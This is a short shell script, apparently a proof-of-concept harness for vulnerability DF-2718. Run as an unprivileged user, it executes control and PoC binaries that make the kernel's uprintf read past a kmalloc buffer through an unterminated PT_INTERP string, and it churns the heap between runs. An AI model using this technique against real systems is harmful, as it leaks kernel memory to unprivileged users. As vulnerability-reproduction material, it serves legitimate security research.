DF-2718 / run.sh
#!/bin/sh # DF-2718 run: as unprivileged user, under a pty (so uprintf reaches us), # (a) control: NUL-terminated PT_INTERP -> uprintf prints just the path # (b) poc: unterminated PT_INTERP -> uprintf %s walks past kmalloc(1024) id echo '--- control (terminated) ---' /usr/bin/script -q /tmp/ctl.log /tmp/poc_term echo "exit=$?" echo '--- poc (unterminated) ---' /usr/bin/script -q /tmp/poc.log /tmp/poc_unterm echo "exit=$?" echo '--- poc again after heap churn ---' /bin/ls /usr/bin > /dev/null 2>&1; /bin/ls /usr/sbin > /dev/null 2>&1 /usr/bin/script -q /tmp/poc2.log /tmp/poc_unterm echo "exit=$?" |